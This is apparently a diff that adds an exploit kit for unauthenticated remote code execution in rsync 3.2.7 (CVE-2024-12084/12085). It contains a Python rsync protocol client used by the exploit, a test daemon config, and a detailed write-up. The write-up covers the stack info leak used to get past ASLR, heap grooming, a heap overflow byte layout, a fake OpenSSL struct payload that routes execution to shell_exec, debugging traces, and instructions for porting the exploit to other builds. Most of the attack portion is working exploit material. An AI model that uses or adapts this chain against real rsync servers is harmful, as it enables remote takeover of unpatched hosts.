||||
payload = self._raw_recv(length) if length else b''
|
||||
if tag == MSG_DATA:
|
||||
self._mux_buf += payload
|
||||
elif tag in (1, 2, 3): # MSG_INFO, MSG_ERROR, MSG_ERROR_XFER
|
||||
# Print and continue
|
||||
import sys
|
||||
sys.stderr.write(f"[server msg{tag}] {payload.decode('latin-1', 'replace')}")
|
||||
else:
|
||||
# ignore other message types
|
||||
pass
|
||||
out, self._mux_buf = self._mux_buf[:n], self._mux_buf[n:]
|
||||
return out
|
||||
|
||||
def read_byte(self):
|
||||
return self._mux_read(1)[0]
|
||||
|
||||
def read_int(self):
|
||||
return struct.unpack('<i', self._mux_read(4))[0]
|
||||
|
||||
def read_short_int(self):
|
||||
return struct.unpack('<H', self._mux_read(2))[0]
|
||||
|
||||
def read_buf(self, n):
|
||||
return self._mux_read(n)
|
||||
|
||||
def read_varint(self):
|
||||
"""read_varint (io.c:1794)."""
|
||||
u = bytearray(5)
|
||||
ch = self.read_byte()
|
||||
extra = INT_BYTE_EXTRA[ch >> 2]
|
||||
if extra:
|
||||
bit = 1 << (8 - extra)
|
||||
if extra >= 5:
|
||||
raise ValueError("varint overflow")
|
||||
u[:extra] = self._mux_read(extra)
|
||||
u[extra] = ch & (bit - 1)
|
||||
else:
|
||||
u[0] = ch
|
||||
v = struct.unpack('<I', bytes(u[:4]))[0]
|
||||
if v & 0x80000000:
|
||||
v -= 0x100000000
|
||||
return v
|
||||
|
||||
def read_varlong(self, min_bytes):
|
||||
"""read_varlong (io.c:1826)."""
|
||||
u = bytearray(9)
|
||||
b2 = self._mux_read(min_bytes)
|
||||
u[:min_bytes-1] = b2[1:]
|
||||
ch = b2[0]
|
||||
extra = INT_BYTE_EXTRA[ch >> 2]
|
||||
if extra:
|
||||
bit = 1 << (8 - extra)
|
||||
if min_bytes + extra > 9:
|
||||
raise ValueError("varlong overflow")
|
||||
u[min_bytes-1:min_bytes-1+extra] = self._mux_read(extra)
|
||||
u[min_bytes-1+extra] = ch & (bit - 1)
|
||||
else:
|
||||
u[min_bytes-1] = ch
|
||||
return struct.unpack('<q', bytes(u[:8]))[0]
|
||||
|
||||
def read_vstring(self):
|
||||
n = self.read_byte()
|
||||
if n & 0x80:
|
||||
n = ((n & 0x7f) << 8) | self.read_byte()
|
||||
return self._mux_read(n).decode('latin-1') if n else ''
|
||||
|
||||
def read_ndx(self):
|
||||
"""read_ndx (io.c:2289)."""
|
||||
b = self.read_byte()
|
||||
if b == 0xFF:
|
||||
b = self.read_byte()
|
||||
neg = True
|
||||
elif b == 0:
|
||||
return -1 # NDX_DONE
|
||||
else:
|
||||
neg = False
|
||||
if b == 0xFE:
|
||||
b1 = self.read_byte()
|
||||
b2 = self.read_byte()
|
||||
if b1 & 0x80:
|
||||
# 4-byte absolute
|
||||
b3 = self.read_byte()
|
||||
b4 = self.read_byte()
|
||||
num = b2 | (b3 << 8) | (b4 << 16) | ((b1 & 0x7f) << 24)
|
||||
else:
|
||||
prev = self._rprev_neg if neg else self._rprev_pos
|
||||
num = (b1 << 8) + b2 + prev
|
||||
else:
|
||||
prev = self._rprev_neg if neg else self._rprev_pos
|
||||
num = b + prev
|
||||
if neg:
|
||||
self._rprev_neg = num
|
||||
return -num
|
||||
else:
|
||||
self._rprev_pos = num
|
||||
return num
|
||||
|
||||
# ── protocol setup ──────────────────────────────────────────────
|
||||
def setup_protocol(self):
|
||||
"""
|
||||
Mirrors what server does in compat.c:setup_protocol() when am_server=1, am_sender=1.
|
||||
We are the client (receiver).
|
||||
"""
|
||||
# Server is am_server, so it WRITES compat_flags as varint.
|
||||
# But this happens BEFORE multiplexing is on.
|
||||
# Read compat_flags as varint (compat.c:738) — read_varint is compatible
|
||||
# with single-byte values < 0x80.
|
||||
# NOTE: this read is on the RAW socket, not multiplexed yet.
|
||||
old_in_mux = self.in_multiplexed
|
||||
self.in_multiplexed = False
|
||||
self.compat_flags = self.read_varint()
|
||||
# Verify CF_VARINT_FLIST_FLAGS — needed for our file list parsing
|
||||
# (we sent 'v' in -e.v so this should be set)
|
||||
assert self.compat_flags & CF_VARINT_FLIST_FLAGS, \
|
||||
f"expected CF_VARINT_FLIST_FLAGS, got {self.compat_flags:#x}"
|
||||
# CF_INC_RECURSE must be off (we sent --no-inc-recursive)
|
||||
assert not (self.compat_flags & CF_INC_RECURSE), \
|
||||
f"inc_recurse unexpectedly on: {self.compat_flags:#x}"
|
||||
|
||||
# negotiate_the_strings (compat.c:534) — both sides call this.
|
||||
# Both sides send_negotiate_str FIRST (writes to wire if do_negotiated_strings),
|
||||
# then both recv_negotiate_str. So: we send, server sends, both proceed.
|
||||
# All on RAW socket (pre-multiplex).
|
||||
#
|
||||
# Send our checksum preference (we want to force csum_choice to win)
|
||||
self._raw_send(bytes([len(self.csum_choice)]) + self.csum_choice.encode())
|
||||
# Read server's checksum list
|
||||
n = self._raw_recv(1)[0]
|
||||
if n & 0x80:
|
||||
n = ((n & 0x7f) << 8) | self._raw_recv(1)[0]
|
||||
server_csums = self._raw_recv(n).decode() if n else ''
|
||||
# Compress: only negotiated if do_compression && !compress_choice.
|
||||
# We always send --compress-choice=zlib OR --no-compress, so the server
|
||||
# never enters compress negotiation. Skip.
|
||||
|
||||
# Server writes checksum_seed (compat.c:813) — raw 4-byte int
|
||||
self.checksum_seed = struct.unpack('<i', self._raw_recv(4))[0]
|
||||
|
||||
# Now multiplexing kicks in:
|
||||
# server: io_start_multiplex_out → server output multiplexed
|
||||
# server: io_start_multiplex_in (need_messages_from_generator) → server input multiplexed
|
||||
self.in_multiplexed = True
|
||||
self.out_multiplexed = True
|
||||
|
||||
# ── file list parsing ───────────────────────────────────────────
|
||||
def read_file_list(self):
|
||||
"""
|
||||
Parse file list sent by server (send_file_list → send_file_entry).
|
||||
With xfer_flags_as_varint=1, each entry starts with varint flags.
|
||||
Termination: varint 0, then varint io_error.
|
||||
|
||||
We sent --no-owner --no-group --no-acls --no-devices --no-specials
|
||||
--no-links --no-hard-links --no-atimes --no-crtimes, so the per-entry
|
||||
format reduces to:
|
||||
xflags (varint)
|
||||
[if SAME_NAME] l1 (byte)
|
||||
[if LONG_NAME] l2 (varint) else l2 (byte)
|
||||
name[l2]
|
||||
file_length (varlong, min_bytes=3)
|
||||
[if !SAME_TIME] modtime (varlong, min_bytes=4)
|
||||
[if MOD_NSEC] nsec (varint)
|
||||
[if !SAME_MODE] mode (int)
|
||||
[if --checksum && S_ISREG] checksum (file_sum_len bytes)
|
||||
"""
|
||||
files = []
|
||||
lastname = ''
|
||||
lastmode = 0
|
||||
lastmtime = 0
|
||||
# We sent --checksum, so each regular file includes file_sum.
|
||||
# But we don't know file_sum_len until after parse_checksum_choice.
|
||||
# The chosen csum is what we negotiated. Hardcode common lengths:
|
||||
csum_lens = {'xxh64': 8, 'xxh3': 8, 'xxh128': 16, 'sha1': 20,
|
||||
'md5': 16, 'md4': 16}
|
||||
file_sum_len = csum_lens.get(self.csum_choice, 16)
|
||||
|
||||
while True:
|
||||
xflags = self.read_varint()
|
||||
if xflags == 0:
|
||||
self.read_varint() # io_error
|
||||
break
|
||||
|
||||
# Name
|
||||
l1 = self.read_byte() if (xflags & XMIT_SAME_NAME) else 0
|
||||
if xflags & XMIT_LONG_NAME:
|
||||
l2 = self.read_varint()
|
||||
else:
|
||||
l2 = self.read_byte()
|
||||
name_tail = self._mux_read(l2).decode('latin-1', errors='replace')
|
||||
name = lastname[:l1] + name_tail
|
||||
lastname = name
|
||||
|
||||
# File length (read_varlong30 with protocol>=30 → varlong min_bytes=3)
|
||||
size = self.read_varlong(3)
|
||||
|
||||
# Modtime
|
||||
if not (xflags & XMIT_SAME_TIME):
|
||||
lastmtime = self.read_varlong(4)
|
||||
mtime = lastmtime
|
||||
if xflags & XMIT_MOD_NSEC:
|
||||
self.read_varint() # discard
|
||||
|
||||
# Mode
|
||||
if not (xflags & XMIT_SAME_MODE):
|
||||
lastmode = self.read_int()
|
||||
# from_wire_mode is identity for normal mode bits on linux
|
||||
mode = lastmode
|
||||
|
||||
# We disabled atimes/crtimes/uid/gid/devices/specials/links/hardlinks/acls
|
||||
# so nothing else to read for those.
|
||||
|
||||
# Checksum (only for regular files when --checksum was sent)
|
||||
if is_reg(mode):
|
||||
self._mux_read(file_sum_len) # discard
|
||||
|
||||
files.append(FileEntry(name, mode, size, mtime))
|
||||
|
||||
# Server calls flist_sort_and_clean AFTER sending. The ndx we send back
|
||||
# references the SORTED order. rsync's f_name_cmp ≈ strcmp on path; for
|
||||
# a flat directory, Python's bytewise string sort matches.
|
||||
files.sort(key=lambda f: f.name.encode('latin-1'))
|
||||
return files
|
||||
|
||||
# ── download a file (Phase 1 setup) ─────────────────────────────
|
||||
def download_file(self, ndx, file_entry):
|
||||
"""
|
||||
Request a file with empty checksums (force full transfer).
|
||||
Returns the file content. No compression.
|
||||
"""
|
||||
# Send: ndx, iflags, sum_head with count=0
|
||||
self.write_ndx(ndx)
|
||||
self.write_short_int(ITEM_TRANSFER_FLAG)
|
||||
self.write_raw_int(0) # count=0
|
||||
self.write_raw_int(0) # blength=0
|
||||
self.write_raw_int(0) # s2length=0
|
||||
self.write_raw_int(0) # remainder=0
|
||||
|
||||
# Server echoes ndx + iflags
|
||||
self.read_ndx()
|
||||
self.read_short_int()
|
||||
# Server echoes sum_head
|
||||
self.read_int(); self.read_int(); self.read_int(); self.read_int()
|
||||
|
||||
# Server now sends data via simple_send_token format (no compression):
|
||||
# while (token = read_int()) > 0: read_buf(token bytes)
|
||||
# token <= 0 → done (or matched, but with count=0 there are no matches)
|
||||
data = b''
|
||||
while True:
|
||||
tok = self.read_int()
|
||||
if tok <= 0:
|
||||
break
|
||||
data += self._mux_read(tok)
|
||||
# File checksum trailer (file_sum_len bytes from sum_end)
|
||||
csum_lens = {'xxh64': 8, 'xxh3': 8, 'xxh128': 16, 'sha1': 20,
|
||||
'md5': 16, 'md4': 16}
|
||||
file_sum_len = csum_lens.get(self.csum_choice, 16)
|
||||
self._mux_read(file_sum_len)
|
||||
# Need to send NDX_DONE to signal we're done with this phase
|
||||
# (but exploit closes connection after, so might not be needed)
|
||||
return data
|
||||
|
||||
# ── deflate token (Phase 1 oracle) ──────────────────────────────
|
||||
def receive_deflate_token(self):
|
||||
"""
|
||||
Read ONE deflate token signal. Returns (signal, data).
|
||||
signal < 0 → matched a block (TOKEN). signal >= 0 → data (no match).
|
||||
We only care about the FIRST signal as the oracle.
|
||||
"""
|
||||
flag = self.read_byte()
|
||||
if flag == 0: # END_FLAG
|
||||
return 0, b''
|
||||
if (flag & 0xC0) == 0x40: # DEFLATED_DATA
|
||||
n = ((flag & 0x3f) << 8) | self.read_byte()
|
||||
payload = self._mux_read(n)
|
||||
return n, payload # n > 0 → no match
|
||||
if flag & 0x80: # TOKEN_REL
|
||||
tok = flag & 0x3f
|
||||
return -1 - tok, b'' # negative → match!
|
||||
if flag in (0x20, 0x21): # TOKEN_LONG / TOKENRUN_LONG
|
||||
tok = self.read_int()
|
||||
return -1 - tok, b'' # negative → match!
|
||||
# Unknown flag — treat as no-match
|
||||
return flag, b''
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
self.sock.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
# ── Public API ───────────────────────────────────────────────────────
|
||||
def connect(url, proto_ver, csum_choice):
|
||||
"""
|
||||
Connect to rsync daemon and complete handshake up through args.
|
||||
The caller must then call setup_protocol() after sending args.
|
||||
|
||||
url: rsync://host:port/module
|
||||
proto_ver: '31' (string)
|
||||
csum_choice: transfer checksum to negotiate ('xxh64' or 'sha1')
|
||||
"""
|
||||
p = urllib.parse.urlparse(url)
|
||||
host = p.hostname
|
||||
port = p.port or 873
|
||||
module = p.path.lstrip('/').rstrip('/') or 'files'
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(30)
|
||||
sock.connect((host, port))
|
||||
|
||||
rc = RsyncConn(sock, module, csum_choice)
|
||||
|
||||
# 1. Server greeting: "@RSYNCD: 31.0 <auth csums>\n"
|
||||
greeting = rc._raw_recv_line()
|
||||
# 2. Send our greeting. The auth checksum here is for daemon auth, NOT
|
||||
# transfer. We pick md5 (always supported). The transfer checksum
|
||||
# (csum_choice) is negotiated later in setup_protocol.
|
||||
rc._raw_send(f"@RSYNCD: {proto_ver}.0 md5\n".encode())
|
||||
# 3. Send module name
|
||||
rc._raw_send((module + '\n').encode())
|
||||
# 4. Read responses until "@RSYNCD: OK"
|
||||
while True:
|
||||
line = rc._raw_recv_line()
|
||||
if line == '@RSYNCD: OK':
|
||||
break
|
||||
if line.startswith('@ERROR'):
|
||||
raise RuntimeError(f"daemon error: {line}")
|
||||
if line.startswith('@RSYNCD: EXIT'):
|
||||
raise RuntimeError("daemon EXIT")
|
||||
# otherwise: motd or other info, ignore
|
||||
|
||||
# 5. Caller now sends args via write_line(), terminated by write_line('')
|
||||
return rc
|
||||
@@ -0,0 +1,6 @@
|
||||
log file = /tmp/rsync_daemon.log
|
||||
pid file = /tmp/rsync_daemon.pid
|
||||
[files]
|
||||
path = /tmp/rsync_test_module
|
||||
read only = true
|
||||
use chroot = false
|
||||
@@ -0,0 +1,610 @@
|
||||
# Rsync CVE-2024-12084 + CVE-2024-12085 — Unauthenticated RCE Writeup
|
||||
|
||||
Based on the Phrack 72 article "Desync the Planet" by Simon Scannell,
|
||||
Pedro Gallegos, and Jasiel Spelman. This documents the full process of
|
||||
getting the exploit chain working on our target system, including all
|
||||
the debugging steps, dead ends, and system-specific adaptations.
|
||||
|
||||
---
|
||||
|
||||
## 0. Environment
|
||||
|
||||
| Component | Detail |
|
||||
|------------------|--------|
|
||||
| Target binary | rsync 3.2.7, compiled from upstream source |
|
||||
| OS | Ubuntu 22.04.3 LTS, kernel 6.8 |
|
||||
| glibc | 2.35-0ubuntu3.13 |
|
||||
| OpenSSL | 3.0.2 |
|
||||
| Arch | x86-64 |
|
||||
| Protections | Full ASLR, PIE, NX, Full RELRO, stack canaries |
|
||||
| MAX_DIGEST_LEN | 64 (SHA512_DIGEST_LENGTH) |
|
||||
| SUM_LENGTH | 16 (fixed in `struct sum_buf`) |
|
||||
| Overflow window | 64 - 16 = **48 bytes** per sum_buf entry |
|
||||
|
||||
The system rsync (`3.2.7-0ubuntu0.22.04.4`) has all CVEs backported.
|
||||
We built upstream 3.2.7 from source to get a vulnerable binary at
|
||||
`/tmp/rsync-3.2.7/rsync`.
|
||||
|
||||
### Building rsync 3.2.7
|
||||
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://download.samba.org/pub/rsync/src/rsync-3.2.7.tar.gz
|
||||
tar xzf rsync-3.2.7.tar.gz
|
||||
cd rsync-3.2.7
|
||||
./configure --with-openssl --disable-xxhash # or --enable-xxhash
|
||||
make
|
||||
```
|
||||
|
||||
### Daemon setup
|
||||
|
||||
```bash
|
||||
mkdir -p /tmp/rsync_test_module
|
||||
echo "hello world" > /tmp/rsync_test_module/foo.txt
|
||||
echo "test data" > /tmp/rsync_test_module/bar.txt
|
||||
|
||||
cat > /tmp/rsyncd_test.conf << 'EOF'
|
||||
log file = /tmp/rsync_daemon.log
|
||||
[files]
|
||||
path = /tmp/rsync_test_module
|
||||
read only = true
|
||||
use chroot = false
|
||||
EOF
|
||||
|
||||
/tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000
|
||||
```
|
||||
|
||||
Confirm vulnerability via banner:
|
||||
```
|
||||
$ echo "" | nc 127.0.0.1 12000
|
||||
@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4
|
||||
```
|
||||
|
||||
Protocol 31 + SHA512 in the auth list confirms MAX_DIGEST_LEN = 64.
|
||||
|
||||
### Key binary offsets
|
||||
|
||||
Extract with `nm`:
|
||||
```bash
|
||||
nm /tmp/rsync-3.2.7/rsync | grep -E " (T|B) (shell_exec|ctx_evp|set_compression)$"
|
||||
```
|
||||
|
||||
For our build:
|
||||
```
|
||||
CHECK_COMPRESSION_OFFSET = 0x436f7 # set_compression+599 (leaked via info leak)
|
||||
SHELL_EXEC_OFFSET = 0x2b970 # shell_exec() — calls system(cmd)
|
||||
CTX_EVP_OFFSET = 0x9dc28 # global EVP_MD_CTX *ctx_evp in .bss
|
||||
XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items
|
||||
```
|
||||
|
||||
These change with every recompilation. You MUST extract them for your
|
||||
specific binary.
|
||||
|
||||
---
|
||||
|
||||
## 1. Vulnerability Overview
|
||||
|
||||
### CVE-2024-12085 — Info Leak (ASLR Bypass)
|
||||
|
||||
In `match.c:hash_search()`, a stack buffer `sum2[MAX_DIGEST_LEN]` (64 bytes)
|
||||
is only partially written by the digest algorithm. The remaining bytes contain
|
||||
**uninitialized stack data**. An attacker controls `s2length` (up to 64) and
|
||||
uses the server's match/no-match response as a 1-byte-at-a-time oracle to
|
||||
leak up to 56 bytes of stack contents.
|
||||
|
||||
With xxhash64 (8-byte digest), offset `sum2+8` on the Phrack target contained
|
||||
a `.text` pointer — one round of leaking gives the full PIE base.
|
||||
|
||||
### CVE-2024-12084 — Heap Buffer Overflow
|
||||
|
||||
In `sender.c:receive_sums()`, the server reads `s2length` bytes into
|
||||
`sum2[16]` — overflowing by up to 48 bytes per `sum_buf` entry. By
|
||||
overflowing the last entry into an adjacent `sum_struct`, the attacker
|
||||
corrupts `s->sums` (WHERE to write), `s->count` (how many entries), and
|
||||
`s->s2length` (how many bytes per write), creating an arbitrary
|
||||
write-what-where primitive.
|
||||
|
||||
---
|
||||
|
||||
## 2. Exploitation Strategy (Phrack "One-Shot" Approach)
|
||||
|
||||
### High-level flow
|
||||
|
||||
```
|
||||
┌─────────────┐ ┌─────────────────┐ ┌──────────────────┐
|
||||
│ Info Leak │───>│ Heap Overflow │───>│ RCE Trigger │
|
||||
│ (Phase 1) │ │ (Phase 2) │ │ │
|
||||
│ │ │ │ │ sum_init() │
|
||||
│ Leak .text │ │ Corrupt sums │ │ → EVP_Digest... │
|
||||
│ → PIE base │ │ → write to .bss │ │ → freectx() │
|
||||
│ │ │ → plant fake │ │ → shell_exec() │
|
||||
│ │ │ EVP structs │ │ → system(cmd) │
|
||||
└─────────────┘ └─────────────────┘ └──────────────────┘
|
||||
```
|
||||
|
||||
### Phase 2 detail: one-shot .bss write
|
||||
|
||||
After the info leak provides the binary base, Phase 2:
|
||||
|
||||
1. **Heap groom**: Exhaust tcache bins, create a hole via filter rules
|
||||
so `sum_buf[5]` and `sum_struct` are adjacent on the heap.
|
||||
|
||||
2. **Overflow**: Send `count=5` entries with `s2length=64`. Each entry
|
||||
overflows 48 bytes. The last entry corrupts `sum_struct`:
|
||||
- `s->count` = 6 (adds one extra iteration)
|
||||
- `s->sums` = `&ctx_evp - 222` (redirects array to .bss)
|
||||
- `s->s2length` = 289 (size of our payload)
|
||||
|
||||
3. **Extra entry**: The 6th iteration reads `sum1` (4B) and `sum2`
|
||||
(289B) directly to `&ctx_evp`, writing:
|
||||
|
||||
```
|
||||
Offset Content .bss global
|
||||
────── ───────────────────────────────── ──────────────────
|
||||
0x000 fake_ctx_addr (ctx_evp+8) ctx_evp (overwritten)
|
||||
0x008 ┌─ fake EVP_MD_CTX (72 bytes) ─┐
|
||||
│ +0x08: digest → fake EVP_MD │ file_sum_evp_md
|
||||
│ +0x18: flags = 0x400 │ file_sum_nni (clobbered)
|
||||
│ +0x30: xfer_sum_nni (PRESERVED) xfer_sum_nni ← CRITICAL
|
||||
│ +0x38: algctx → cmd string │
|
||||
└──────────────────────────────┘
|
||||
0x050 ┌─ fake EVP_MD (~184 bytes) ───┐
|
||||
│ +0xb0: freectx = shell_exec │
|
||||
└──────────────────────────────┘
|
||||
0x108 "touch /tmp/rce_proof.txt\0" sumresidue etc
|
||||
```
|
||||
|
||||
4. **Trigger**: After `receive_sums`, the server enters `match_sums` →
|
||||
`sum_init(xfer_sum_nni, seed)` → `EVP_DigestInit_ex(ctx_evp, ...)`.
|
||||
Inside OpenSSL:
|
||||
```
|
||||
ctx->algctx != NULL → ctx->digest->freectx(ctx->algctx)
|
||||
→ shell_exec(cmd_string)
|
||||
→ system("touch /tmp/rce_proof.txt")
|
||||
```
|
||||
|
||||
### Overflow byte layout (64 bytes from last sum2)
|
||||
|
||||
```
|
||||
Byte Offset Content Target
|
||||
──── ────── ─────── ──────
|
||||
0-15 sum2 checksum data sum_buf[4].sum2 (in-bounds)
|
||||
16-17 padding don't care struct padding
|
||||
18-25 chunk hdr 0x31 (48B|PREV_INUSE) sum_struct chunk size field
|
||||
26-33 flength 0 sum_struct.flength
|
||||
34-41 sums &ctx_evp - 222 sum_struct.sums (redirect)
|
||||
42-45 count 6 (original + 1) sum_struct.count
|
||||
46-49 blength 1337 sum_struct.blength
|
||||
50-53 remainder 0 sum_struct.remainder
|
||||
54-57 s2length 289 (payload size) sum_struct.s2length
|
||||
58-63 padding don't care past sum_struct
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Bugs Found and Fixed During Development
|
||||
|
||||
This section documents every issue encountered, how it was diagnosed,
|
||||
and the fix. This is the most valuable part for anyone porting the
|
||||
exploit to a new target.
|
||||
|
||||
### Bug 1: Protocol desync — "File-list index 49"
|
||||
|
||||
**Symptom**: Server logs `File-list index 49 not in -1 - 2
|
||||
(read_ndx_and_attrs) [sender]`.
|
||||
|
||||
**Root cause (initially suspected)**: Outbound multiplexing mismatch.
|
||||
We initially set `out_multiplexed = False` thinking the server didn't
|
||||
demux inbound data.
|
||||
|
||||
**Actual root cause**: The ndx=49 error came from `read_final_goodbye`
|
||||
(the SECOND ndx read), not the first. The first ndx=1 was read
|
||||
correctly. The issue was that the heap overflow wasn't working, so the
|
||||
server processed the file normally and then tried to read the next ndx
|
||||
from leftover data in the socket.
|
||||
|
||||
**How diagnosed**: GDB `break flist_for_ndx` with multiple continues:
|
||||
```
|
||||
call 1: ndx=1 ← from send_files (correct)
|
||||
call 2: ndx=49 ← from read_final_goodbye (leftover data)
|
||||
```
|
||||
|
||||
**Key finding**: For protocol >= 30, the rsync server UNCONDITIONALLY
|
||||
sets `need_messages_from_generator = 1` in `compat.c:776`, which
|
||||
enables inbound demultiplexing. The client MUST send multiplexed data
|
||||
(`out_multiplexed = True`). We confirmed this with GDB:
|
||||
```
|
||||
(gdb) break recv_filter_list
|
||||
(gdb) printf "need_msgs=%d in_multiplexed=%d\n", need_messages_from_generator, iobuf.in_multiplexed
|
||||
need_msgs=1 in_multiplexed=1
|
||||
```
|
||||
|
||||
### Bug 2: Heap grooming — extra chunk in the gap
|
||||
|
||||
**Symptom**: `ctx_evp` watchpoint never triggered. The overflow wasn't
|
||||
reaching `sum_struct`.
|
||||
|
||||
**Root cause**: The Phrack PoC sends TWO filters:
|
||||
```go
|
||||
filter := "+ " + strings.Repeat("Z", count*sumBufStructSize - 1) // 200B pattern
|
||||
client.WriteRawInt(len(filter) + 1); client.WriteLine(filter)
|
||||
filter = "+ a" // tiny pattern
|
||||
client.WriteRawInt(len(filter) + 1); client.WriteLine(filter)
|
||||
client.WriteRawInt(len(clr) + 1); client.WriteLine(clr) // "!" clears all
|
||||
```
|
||||
|
||||
On Debian 12 (glibc 2.36), `malloc(2)` for pattern "a" gives an 8-byte
|
||||
entry that goes to a tiny tcache bin. On Ubuntu 22.04 (glibc 2.35),
|
||||
`malloc(2)` gives a **32-byte chunk** — same bin as the filter_rule
|
||||
struct (48B). This extra chunk lands between `sum_buf[]` and
|
||||
`sum_struct`, creating a **56-byte gap** instead of 8.
|
||||
|
||||
**How diagnosed**: GDB breakpoint at `sender.c:98` (after allocations):
|
||||
```
|
||||
With 2 filters: s=0x590 sums=0x490 diff=56 ← TOO FAR
|
||||
With 1 filter: s=0x560 sums=0x490 diff=8 ← CORRECT
|
||||
```
|
||||
|
||||
**Fix**: Send only ONE filter (the large one). The tcache state from
|
||||
the defragmentation provides the right placement without the second
|
||||
filter.
|
||||
|
||||
```python
|
||||
# WRONG (glibc 2.35):
|
||||
filt = '+ ' + 'Z' * 199; rc.write_raw_int(len(filt)+1); rc.write_line(filt)
|
||||
filt2 = '+ a'; rc.write_raw_int(len(filt2)+1); rc.write_line(filt2)
|
||||
rc.write_raw_int(2); rc.write_line('!')
|
||||
|
||||
# CORRECT (glibc 2.35):
|
||||
filt = '+ ' + 'Z' * 199; rc.write_raw_int(len(filt)+1); rc.write_line(filt)
|
||||
rc.write_raw_int(2); rc.write_line('!')
|
||||
```
|
||||
|
||||
**Verification**: `malloc_usable_size` test:
|
||||
```c
|
||||
malloc( 2) -> usable=24 chunk_size=32 // same bin as 32B requests
|
||||
malloc(32) -> usable=40 chunk_size=48 // sum_struct lands here
|
||||
malloc(40) -> usable=40 chunk_size=48 // filter_rule lands here
|
||||
```
|
||||
|
||||
### Bug 3: xfer_sum_nni clobbered — trigger path bypassed
|
||||
|
||||
**Symptom**: `ctx_evp` WAS correctly overwritten (GDB watchpoint
|
||||
confirmed `ctx_evp = fake_ctx_addr`). But `shell_exec` breakpoint
|
||||
never hit. Server crashed with `SIGABRT: free(): invalid pointer`.
|
||||
|
||||
**Root cause**: Our 289-byte payload writes contiguously from `&ctx_evp`
|
||||
through `&ctx_evp + 288`, overwriting ALL globals in that range. The
|
||||
critical global `xfer_sum_nni` at `ctx_evp + 0x30` was zeroed.
|
||||
|
||||
When `match_sums` calls `sum_init(xfer_sum_nni, seed)`, it receives
|
||||
`nni = NULL`. sum_init handles NULL by calling `parse_csum_name(NULL,0)`
|
||||
which internally calls `malloc()`. Since the heap was corrupted by our
|
||||
overflow, this malloc triggers `free(): invalid pointer` → SIGABRT.
|
||||
The EVP trigger path is never reached.
|
||||
|
||||
**How diagnosed**: GDB break on `sum_init`:
|
||||
```
|
||||
sum_init(nni=0x0, seed=1337) ← xfer_sum_nni was zeroed!
|
||||
```
|
||||
|
||||
Then mapping the .bss layout around ctx_evp:
|
||||
```bash
|
||||
nm rsync | awk '/09dc/ || /09dd/'
|
||||
```
|
||||
```
|
||||
0x09dc28 B ctx_evp +0x000 ← we write here
|
||||
0x09dc38 B xfer_sum_evp_md +0x010
|
||||
0x09dc58 B xfer_sum_nni +0x030 ← ZEROED by our payload!
|
||||
0x09dc60 b prior_result.0 +0x038
|
||||
```
|
||||
|
||||
**Fix**: Preserve `xfer_sum_nni` in the payload at offset 0x30:
|
||||
```python
|
||||
XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items
|
||||
xfer_sum_nni = base + XFER_SUM_NNI_OFFSET
|
||||
struct.pack_into('<Q', payload, 0x30, xfer_sum_nni)
|
||||
```
|
||||
|
||||
The SHA1 NNI entry is at a fixed offset in the binary's `.data` section,
|
||||
so we can compute its runtime address from the leaked base.
|
||||
|
||||
### Bug 4: Chunk metadata corruption
|
||||
|
||||
**Symptom (earlier)**: Server crash during `receive_sums` loop when
|
||||
overflow bytes 18-25 were all zeros, corrupting the malloc chunk size
|
||||
field between `sum_buf[]` and `sum_struct`.
|
||||
|
||||
**Fix**: Set bytes 18-25 to `0x31` (48-byte chunk | PREV_INUSE):
|
||||
```python
|
||||
struct.pack_into('<Q', overflow_payload, 18, 0x31)
|
||||
```
|
||||
|
||||
This is the correct chunk size for `sum_struct` (`malloc(32)` → 48B
|
||||
chunk on glibc 2.35).
|
||||
|
||||
---
|
||||
|
||||
## 4. Porting to Other Installations
|
||||
|
||||
### What changes between targets
|
||||
|
||||
| Item | Why it changes | How to find it |
|
||||
|------|---------------|----------------|
|
||||
| `SHELL_EXEC_OFFSET` | Different compiler/flags | `nm rsync \| grep shell_exec` |
|
||||
| `CTX_EVP_OFFSET` | Different .bss layout | `nm rsync \| grep ctx_evp` |
|
||||
| `CHECK_COMPRESSION_OFFSET` | Different .text layout | `nm rsync \| grep set_compression` then add 599 |
|
||||
| `XFER_SUM_NNI_OFFSET` | Different .data layout | `nm rsync \| grep valid_checksums_items`, then GDB to find SHA1 entry |
|
||||
| Heap grooming | Different glibc version | See below |
|
||||
| OpenSSL struct offsets | Different OpenSSL version | Reverse-engineer EVP_MD_CTX/EVP_MD layouts |
|
||||
| .bss neighbor globals | Different compiler | `nm rsync \| sort` near ctx_evp |
|
||||
|
||||
### Adapting heap grooming for a new glibc
|
||||
|
||||
The #1 portability issue is heap grooming. The exploit needs `sum_struct`
|
||||
allocated immediately after `sum_buf[]` with only an 8-byte chunk header
|
||||
between them.
|
||||
|
||||
**Step 1**: Check malloc chunk sizes:
|
||||
```c
|
||||
// Compile and run on target:
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <malloc.h>
|
||||
int main() {
|
||||
for (int sz = 1; sz <= 48; sz++) {
|
||||
void *p = malloc(sz);
|
||||
printf("malloc(%2d) -> usable=%zu chunk=%zu\n",
|
||||
sz, malloc_usable_size(p), malloc_usable_size(p)+8);
|
||||
free(p);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2**: Set breakpoint at `sender.c:98` and check the gap:
|
||||
```
|
||||
(gdb) break sender.c:98
|
||||
(gdb) continue
|
||||
(gdb) printf "s=%p sums=%p diff=%ld\n", s, s->sums, (long)s - ((long)s->sums + s->count*40)
|
||||
```
|
||||
|
||||
If `diff = 8` → grooming is correct.
|
||||
If `diff > 8` → extra chunks in the gap. Try:
|
||||
- Removing the second filter
|
||||
- Adjusting filter pattern sizes
|
||||
- Adding more filter rules to consume extra tcache entries
|
||||
|
||||
**Step 3**: Check which .bss globals the payload overwrites:
|
||||
```bash
|
||||
nm rsync | sort | awk -v base=$(nm rsync | grep ' B ctx_evp$' | cut -d' ' -f1) \
|
||||
'{ a=strtonum("0x"$1); b=strtonum("0x"base); if (a>=b && a<b+300) print }'
|
||||
